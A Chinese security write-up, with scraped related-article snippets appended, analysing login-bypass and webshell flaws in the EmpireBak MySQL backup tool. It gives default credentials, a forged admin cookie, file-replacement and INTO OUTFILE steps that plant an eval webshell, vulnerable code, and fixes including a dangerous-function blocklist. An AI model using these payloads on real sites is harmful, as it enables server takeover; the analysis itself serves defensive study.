帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968

2. 漏洞触发条件

0x1: 默认弱口令进入后台

admin
123456
//默认安装弱口令

0x2: 伪造cookie登录后台

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
ebak_bakrnd:35y5cCnnA4Kh
ebak_bakusername:admin
ebak_baklogintime:4070883661
//使用以上cookie即可直接访问admin.php 

使用firefox tamper data代理截包,访问下列网址

http://localhost/EmpireBak2010/admin.php
http://localhost/EmpireBak2010/DoSql.php

在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面

Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL

在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构

0x4: 备份数据、替换目录文件内容GETHSLL

1. 登陆后先备份一次数据
2. 备份时可选择备份到的目录,默认有个safemod
3. 备份完毕后来到"管理备份目录",打包并下载
//备份后的safemod目录下所有的表都是以PHP保存的
4. 查看下载下来的备份文件的内容
5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod
6. 例如替换config.php的内容
/*
<?php
    $b_table="ecs_ad_custom";
    $tb[ecs_ad_custom]=1;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="test";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="auto";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=0;
    ?>
*/
将字符: $b_bakdatatype=0;
替换为:
$b_bakdatatype=0;
phpinfo();
7. http://xxx/diguo/bdata/safemod/config.php
显示phpinfo内容,GETSHELL成功

0x5: 执行自定义SQL导出GETSHELL

select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘c:/WEB ROOT PATH/xiaohan.php‘ 

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2011/0603/8816.html
http://www.2cto.com/Article/201005/47257.html
http://www.wooyun.org/bugs/wooyun-2010-078591
http://0day5.com/archives/2771
http://www.wooyun.org/bugs/wooyun-2010-078591
http://www.sqlmap.cc/post-37.html

3. 漏洞影响范围
4. 漏洞代码分析

0x1: 伪造cookie登录后台

\admin.php

<?php
require(‘class/connect.php‘);
require(‘class/functions.php‘);
//验证是否已经处于登录状态
$lur=islogin();
$loginin=$lur[‘username‘];
$rnd=$lur[‘rnd‘];
require LoadAdminTemp(‘eadmin.php‘);
?>

\class\functions.php

//是否登陆
function islogin($uname=‘‘,$urnd=‘‘)
{
    //die(var_dump($_COOKIE));
    $_COOKIE[‘ebak_loginebakckpass‘] = "119770adb578053dcb383f67a81bcbc6"; 

    $_COOKIE[‘ebak_baklogintime‘] = "4070883661";

    /*
    来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值
    $set_username="admin";
    $set_outtime="60";
    */
    global $set_username, $set_outtime;
    //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE[‘ebak_bakusername‘] = "admin";
    $username = $uname ? $uname : getcvar(‘bakusername‘);
    //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE[‘ebak_bakrnd‘] = "35y5cCnnA4Kh";
    $rnd = $urnd ? $urnd : getcvar(‘bakrnd‘); 

    //正常通过
    if(empty($username) || empty($rnd))
    {
        printerror("NotLogin","index.php");
    }
    //黑客的目标是免登admin,这里一定相等
    if($username <> $set_username)
    {
        printerror("NotLogin","index.php");
    }
    /*
    验证cookie中的值
    $username = admin
    $rnd = 35y5cCnnA4Kh
    */
    Ebak_CHCookieRnd($username, $rnd); 

    $time=time();
    if($time-getcvar(‘baklogintime‘)>$set_outtime*60)
    {
        printerror("OutLogintime","index.php");
    }
    esetcookie("baklogintime",$time,0);
    $lr[‘username‘]=$username;
    $lr[‘rnd‘]=$rnd;
    return $lr;
}

\class\functions.php

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    /*
    $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";
    */
    global $set_loginrnd;
    //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6
    $ckpass = md5(md5($rnd . $set_loginrnd).‘-‘.$rnd.‘-‘.$username.‘-‘);
    //比较通过,判定为已登录,漏洞产生
    if($ckpass<>getcvar(‘loginebakckpass‘))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\phome.php

elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁
{
    Ebak_RepPathFiletext($_POST);
}

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add[‘mypath‘]);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add[‘oldword‘]);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add[‘newword‘]);
    $dozz=(int)$add[‘dozz‘];
    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }
    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;
    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);
    //遍历目标目录的所有文件,逐一进行文本替换
    while($file=@readdir($hand))
    {
        $filename=$path."/".$file;
          if($file!="."&&$file!=".."&&is_file($filename))
        {
            $value=ReadFiletext($filename);
            if($dozz)
            {
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }
            else
            {
                if(!stristr($value,$oldword))
                {
                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value);
            }
            WriteFiletext_n($filename,$newvalue);
        }
    }
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

\class\functions.php

//正则替换信息
function Ebak_DoRepFiletextZz($oldword,$newword,$text)
{
    $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);
    //无任何过滤,直接替换
    $text=preg_replace($zztext,$newword,$text);
    return $text;
}

0x3: 执行自定义SQL导出GETSHELL

\phome.php

elseif($phome=="DoExecSql")
{
    Ebak_DoExecSql($_POST);
}
elseif($phome=="DoTranExecSql")
{
    $file=$_FILES[‘file‘][‘tmp_name‘];
    $file_name=$_FILES[‘file‘][‘name‘];
    $file_type=$_FILES[‘file‘][‘type‘];
    $file_size=$_FILES[‘file‘][‘size‘];
    Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);
}

\class\combakfun.php

//执行SQL语句
function Ebak_DoExecSql($add)
{
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    $query = $add[‘query‘];
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add[‘mydbname‘])
    {
        $empire->query("use `".$add[‘mydbname‘]."`");
    }
    //编码
    if($add[‘mydbchar‘])
    {
        DoSetDbChar($add[‘mydbchar‘]);
    }
    $query = Ebak_ClearAddsData($query);
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query, $add[‘mydbchar‘], $phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

//上传执行SQL
function Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    if(!$file_name||!$file_size)
    {
        printerror("NotChangeSQLFile","history.go(-1)");
    }
    $filetype=GetFiletype($file_name);//取得扩展名
    if($filetype!=".sql")
    {
        printerror("NotTranSQLFile","history.go(-1)");
    }
    //上传文件
    $newfile=‘tmp/uploadsql‘.time().‘.sql‘;
    $cp=Ebak_DoTranFile($file,$newfile);
    if(empty($cp))
    {
        printerror("TranSQLFileFail","history.go(-1)");
    }
    $query=ReadFiletext($newfile);
    DelFiletext($newfile);
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add[‘mydbname‘])
    {
        $empire->query("use `".$add[‘mydbname‘]."`");
    }
    //编码
    if($add[‘mydbchar‘])
    {
        DoSetDbChar($add[‘mydbchar‘]);
    }
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query,$add[‘mydbchar‘],$phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]==‘#‘||$query[0].$query[1]==‘--‘?‘‘:$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            if(substr($query,0,12)==‘CREATE TABLE‘)
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}

5. 防御方法

0x1: 伪造cookie登录后台

从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
\class\functions.php

//设置COOKIE认证
function Ebak_SCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start();
    global $set_loginrnd;
    //在cookie中加入随机因子
    $ckpass = md5(md5($rnd.$set_loginrnd).‘-‘.$rnd.‘-‘.$username.‘-‘.mt_rand() );
    //SESSION记录
    $_SESSION[‘ckpass‘] = $ckpass;
    esetcookie("loginebakckpass",$ckpass,0);
}

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start();
    global $set_loginrnd;
    //获取SESSION内容
    $ckpass = $_SESSION[‘ckpass‘];
    if($ckpass<>getcvar(‘loginebakckpass‘))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add[‘mypath‘]);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add[‘oldword‘]);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add[‘newword‘]);

    /* 对用于替换的内容进行危险关键字过滤 */
    if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) )
    {
        die("Request Error!");
    }
    /**/
    ..

0x3: 执行自定义SQL导出GETSHELL

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]==‘#‘||$query[0].$query[1]==‘--‘?‘‘:$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            /* SQL注入过滤 */
            if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))
            {
                echo "request error!" . "</br>" . $matches[0];
                die();
            }
            /* */

            if(substr($query,0,12)==‘CREATE TABLE‘)
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-10-13 12:20:02

帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul的相关文章

帝国备份王(Empirebak)万能cookie及拿shell

1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) 登录成功设置4个cookie,看代码 function login($lusername,$lpassword,$key,$lifetime=0){ global $set_username,$set_password,$set_loginauth,$set_loginkey; if(empty($lusername)||empty($lpassword)) { printerror("EmptyLo

【菜鸟学php】小菜鸟由帝国备份王在Wamp环境下打开500错误浅谈PHP程序员

===================问题情况描述=================== 小弟一直在玩discuz论坛开源程序,这个论坛程序经常涉及到论坛搬家的问题. 今天我在本地Wamp环境下,用开源软件帝国备份王2010进行数据库备份数据,结果打开发现报错500! 这真是坑爹了,回想下以前自己使用这个开源程序进行备份也不下于十几次了,大部分都正常成功, 但也不乏出现这种情况的,小弟之前一般遇到这种问题, 都是直接忽略,换其他办法来进行备份,但是用惯了帝国备份王,换其他的方法备份数据,总感觉难

DedeCMS帝国备份王织梦系统网站搬家

此方法简单适用虚拟主机,独立服务器,VPS等. 1.使用帝国备份王备份dede 数据库. ①首先去下载帝国备份王②把帝国备份王上传到网站目录下③使用帝国备份王把数据打包④把dede 所有数据全部下载出来⑤把下载回来的dede cms的数据全部上传到新空间⑦访问新空间的帝国备份王还原新数据库数据⑧修改新空间的common.inc.php文件,使其对应新的数据库. 以上8个步骤即可把dede 搬家成功.

帝国备份王出现 Parse error: syntax error, unexpected end of file解决办法

帝国备份王出现 Parse error: syntax error, unexpected end of file解决办法,今天在WIN7 64位系统 用Xampp v3.2.2, 帮客户备份一下数据库,发现居然出现Parse error: syntax error, unexpected end of file iProg 的错误, 在网上搜索了一下,找到了解决办法.这里分享给大家. 解决办法:打开 php.ini ,找到 short_open_tag = Off 这一行,将 Off 修改为

nginx 500错误 导致一些数据库备份程序(phpmyadmin/帝国备份王)打开空白

PHP版本 5.4 nginx 1.62 nginx报错: 2015/04/07 05:50:43 [error] 1788#0: *413 FastCGI sent in stderr: "PHP message: PHP Parse error: syntax error, unexpected end of file in /data/bei123/class/functions.php on line 1246″ while reading response header from up

帝国备份语法错误问题

在用帝国备份5点几的版本时,在新搭建的phpstudy5.4版本下回复数据时报错,应该是短标签的问题,百度了一下,都说把 short_open_tag=off 改成on即可,打开php.ini发现本来就是on,一下不知道怎么办了,以前也碰到过这个情况当时已经解决了,可惜没记下来,导致现在又耽搁了许多时间.在尝试的时候突然觉得可以改变一下php版本,果然调高了一个版本问题解决了,分析一下应该是高版本的帝国备份适配的是更高版本的php,记住这个教训,好记性不如烂笔头!

帝国CMS备份出现数据恢复不完整的问题

今天linux主机中毒了,把用帝国备份王备份之后,恢复了快照到刚建主机的状态: 哎,只怪当初没有勤快的去做快照啊: 重新配置好后: 开始使用帝国备份王: 数据恢复之后,打开文章,提示"附加表值出错" 百度搜索了一堆解决问题,但是解决不了我的问题,我在打开phpmyadmin,发现数据库里的表dede_addonarticle,只有1000条,但是我是采集的数据,我后台现实的可是有近200万条数据的呢,这差距也太大了把. 再次用帝国恢复,发现在恢复dede_addonarticle表段时

网站如何快速备份?

对于站长们来说,自己辛苦做的网站如果不去备份,出现网站空间出问题或者网站被恶意攻击,删除网站数据,那就惨了.等于自己的努力都付诸东流了.而此时此刻才意识得到备份来说是有多么重要.而如何去备份,一般有二种方法,一种是手动去备份,另一种是自动备份. 手动备份,首先需要用FTP工具去连接网站空间,下载网站程序内容.再者使用数据库管理软件去下载数据库数据表信息.然后把这些下载下来的文件全部保存在自己的电脑上.但这种手工备份,比较麻烦,而且时间比较长. 自动备份,不需要人工操作,只要网站有数据变化就会自动

数据管理只有选择备份到服务器,才能使用分卷备份功能

<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-typ